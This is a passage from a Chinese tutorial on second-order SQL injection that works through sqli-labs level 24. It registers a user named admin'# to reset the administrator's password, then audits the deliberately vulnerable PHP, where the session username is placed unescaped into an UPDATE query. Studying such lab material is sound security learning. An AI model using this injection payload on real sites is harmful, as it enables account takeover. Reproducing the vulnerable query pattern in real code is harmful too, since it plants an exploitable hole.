我们会发现这和宽字节注入的情况类似,我们的SQL语句中都出现了一个自由的单引号,这便是我们的操作区域,与之类似的还有三次注入等,我们不再过多赘述,我们以sql-labs的第24关来演示:
首先在数据库中存在一个admin
账户,然后我们去注册一个带有恶意数据的账户:admin'#
:
然后我们修改我们恶意账户的密码:
注意:有的分支版本其24关的logged-in.php文件不对,可能没有这个页面,建议找个下游版本替换
最后我们成功修改了管理员admin
的密码:
为什么会出现此情况呢?直接白盒审计:
$username= mysql_escape_string($_POST['username']) ;
$pass= mysql_escape_string($_POST['password']);
$re_pass= mysql_escape_string($_POST['re_password']);...
$sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";
我们在创建用户的页面可以看到,程序对我们的输入进行了转义,这里我们的输入不能够直接注入,因为数据库会将我们的字符串按普通字符串写入,不能构造闭合,我们再来看数据取出数据时的操作:
$username= $_SESSION["username"];
$curr_pass= mysql_real_escape_string($_POST['current_password']);
$pass= mysql_real_escape_string($_POST['password']);
$re_pass= mysql_real_escape_string($_POST['re_password']);
...
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
它在取出数据时,直接使用的会话中的用户名,那我们继续追踪发现以下代码,果不其然直接使用的数据库的内容,并没有做其他处理:
function sqllogin(){$username = mysql_real_escape_string($_POST["login_user"]);$password = mysql_real_escape_string($_POST["login_password"]);$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";//$sql = "SELECT COUNT(*) FROM users WHERE username='$username' and password='$password'";$res = mysql_query($sql) or die('You tried to be real smart, Try harder!!!! :( ');$row = mysql_fetch_row($res);//print_r($row) ;if ($row[1]) {return $row[1];} else {return 0;}
}$login = sqllogin();
if (!$login== 0)
{$_SESSION["username"] = $login;setcookie("Auth", 1, time()+3600); /* expire in 15 Minutes */header('Location: logged-in.php');
}